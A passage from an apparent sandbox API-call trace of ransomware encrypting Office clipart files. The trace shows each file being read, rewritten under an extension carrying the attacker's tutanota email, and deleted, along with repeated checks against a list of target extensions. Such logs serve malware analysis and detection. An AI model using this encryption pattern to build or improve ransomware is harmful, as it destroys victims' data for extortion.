office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0160.412] GetLastError () returned 0x0 [0160.412] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xa38, lpOverlapped=0x0) returned 1 [0160.432] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xa40, lpOverlapped=0x0) returned 1 [0160.433] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.433] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.433] SetEndOfFile (hFile=0x484) returned 1 [0160.433] CloseHandle (hObject=0x484) returned 1 [0160.433] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.433] SetEndOfFile (hFile=0x454) returned 1 [0160.436] CloseHandle (hObject=0x454) returned 1 [0160.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0160.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.437] lstrlenW (lpString=".doc") returned 4 [0160.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.437] lstrlenW (lpString=".docx") returned 5 [0160.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.437] lstrlenW (lpString=".pdf") returned 4 [0160.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.437] lstrlenW (lpString=".xls") returned 4 [0160.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.437] lstrlenW (lpString=".xlsx") returned 5 [0160.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.437] lstrlenW (lpString=".ppt") returned 4 [0160.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.437] lstrlenW (lpString=".zip") returned 4 [0160.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.437] lstrlenW (lpString=".rar") returned 4 [0160.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.437] lstrlenW (lpString=".bz2") returned 4 [0160.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.437] lstrlenW (lpString=".7z") returned 3 [0160.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.437] lstrlenW (lpString=".dbf") returned 4 [0160.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.437] lstrlenW (lpString=".1cd") returned 4 [0160.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.438] lstrlenW (lpString=".jpg") returned 4 [0160.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.438] lstrlenW (lpString=".doc") returned 4 [0160.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.438] lstrlenW (lpString=".docx") returned 5 [0160.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.438] lstrlenW (lpString=".pdf") returned 4 [0160.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.438] lstrlenW (lpString=".xls") returned 4 [0160.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.438] lstrlenW (lpString=".xlsx") returned 5 [0160.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.438] lstrlenW (lpString=".ppt") returned 4 [0160.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.438] lstrlenW (lpString=".zip") returned 4 [0160.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.438] lstrlenW (lpString=".rar") returned 4 [0160.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.438] lstrlenW (lpString=".bz2") returned 4 [0160.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.438] lstrlenW (lpString=".7z") returned 3 [0160.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.438] lstrlenW (lpString=".dbf") returned 4 [0160.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.439] lstrlenW (lpString=".1cd") returned 4 [0160.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0160.439] lstrlenW (lpString=".jpg") returned 4 [0160.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.439] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.439] lstrlenW (lpString="HH01923_.WMF") returned 12 [0160.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.439] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=26706) returned 1 [0160.440] CloseHandle (hObject=0x454) returned 1 [0160.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0160.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.440] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.440] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0160.441] GetLastError () returned 0x0 [0160.441] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x6852, lpOverlapped=0x0) returned 1 [0160.444] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x6860, lpOverlapped=0x0) returned 1 [0160.445] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.445] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.445] SetEndOfFile (hFile=0x484) returned 1 [0160.445] CloseHandle (hObject=0x484) returned 1 [0160.445] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.445] SetEndOfFile (hFile=0x454) returned 1 [0160.457] CloseHandle (hObject=0x454) returned 1 [0160.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0160.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.458] lstrlenW (lpString=".doc") returned 4 [0160.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.458] lstrlenW (lpString=".docx") returned 5 [0160.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.458] lstrlenW (lpString=".pdf") returned 4 [0160.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.458] lstrlenW (lpString=".xls") returned 4 [0160.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.459] lstrlenW (lpString=".xlsx") returned 5 [0160.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.459] lstrlenW (lpString=".ppt") returned 4 [0160.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.459] lstrlenW (lpString=".zip") returned 4 [0160.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.459] lstrlenW (lpString=".rar") returned 4 [0160.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString=".bz2") returned 4 [0160.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString=".7z") returned 3 [0160.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.459] lstrlenW (lpString=".dbf") returned 4 [0160.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.459] lstrlenW (lpString=".1cd") returned 4 [0160.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.459] lstrlenW (lpString=".jpg") returned 4 [0160.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.459] lstrlenW (lpString=".doc") returned 4 [0160.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString=".docx") returned 5 [0160.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.459] lstrlenW (lpString=".pdf") returned 4 [0160.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.459] lstrlenW (lpString=".xls") returned 4 [0160.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.459] lstrlenW (lpString=".xlsx") returned 5 [0160.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.459] lstrlenW (lpString=".ppt") returned 4 [0160.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.460] lstrlenW (lpString=".zip") returned 4 [0160.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.460] lstrlenW (lpString=".rar") returned 4 [0160.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.460] lstrlenW (lpString=".bz2") returned 4 [0160.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.460] lstrlenW (lpString=".7z") returned 3 [0160.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.460] lstrlenW (lpString=".dbf") returned 4 [0160.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.460] lstrlenW (lpString=".1cd") returned 4 [0160.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0160.460] lstrlenW (lpString=".jpg") returned 4 [0160.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.460] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.460] lstrlenW (lpString="HH02155_.WMF") returned 12 [0160.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.461] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2704) returned 1 [0160.461] CloseHandle (hObject=0x454) returned 1 [0160.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0160.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0160.461] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.462] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0160.462] GetLastError () returned 0x0 [0160.462] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xa90, lpOverlapped=0x0) returned 1 [0160.823] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0160.824] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.824] WriteFile (in: hFile=0x484, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.824] SetEndOfFile (hFile=0x484) returned 1 [0161.109] CloseHandle (hObject=0x484) returned 1 [0161.119] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.119] SetEndOfFile (hFile=0x454) returned 1 [0161.183] CloseHandle (hObject=0x454) returned 1 [0161.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0161.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.184] lstrlenW (lpString=".doc") returned 4 [0161.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.184] lstrlenW (lpString=".docx") returned 5 [0161.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.184] lstrlenW (lpString=".pdf") returned 4 [0161.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.184] lstrlenW (lpString=".xls") returned 4 [0161.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.184] lstrlenW (lpString=".xlsx") returned 5 [0161.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.185] lstrlenW (lpString=".ppt") returned 4 [0161.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.185] lstrlenW (lpString=".zip") returned 4 [0161.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.185] lstrlenW (lpString=".rar") returned 4 [0161.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString=".bz2") returned 4 [0161.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString=".7z") returned 3 [0161.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.185] lstrlenW (lpString=".dbf") returned 4 [0161.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.185] lstrlenW (lpString=".1cd") returned 4 [0161.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.185] lstrlenW (lpString=".jpg") returned 4 [0161.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.185] lstrlenW (lpString=".doc") returned 4 [0161.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString=".docx") returned 5 [0161.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.185] lstrlenW (lpString=".pdf") returned 4 [0161.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString=".xls") returned 4 [0161.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.185] lstrlenW (lpString=".xlsx") returned 5 [0161.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.185] lstrlenW (lpString=".ppt") returned 4 [0161.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.186] lstrlenW (lpString=".zip") returned 4 [0161.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.186] lstrlenW (lpString=".rar") returned 4 [0161.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.186] lstrlenW (lpString=".bz2") returned 4 [0161.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.186] lstrlenW (lpString=".7z") returned 3 [0161.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.186] lstrlenW (lpString=".dbf") returned 4 [0161.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.186] lstrlenW (lpString=".1cd") returned 4 [0161.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.186] lstrlenW (lpString=".jpg") returned 4 [0161.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.186] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.186] lstrlenW (lpString="HM00172_.WMF") returned 12 [0161.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.187] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2832) returned 1 [0161.187] CloseHandle (hObject=0x454) returned 1 [0161.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0161.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0161.188] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.188] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0161.189] GetLastError () returned 0x0 [0161.189] ReadFile (in: hFile=0x454, lpBuffer=0x393d020, 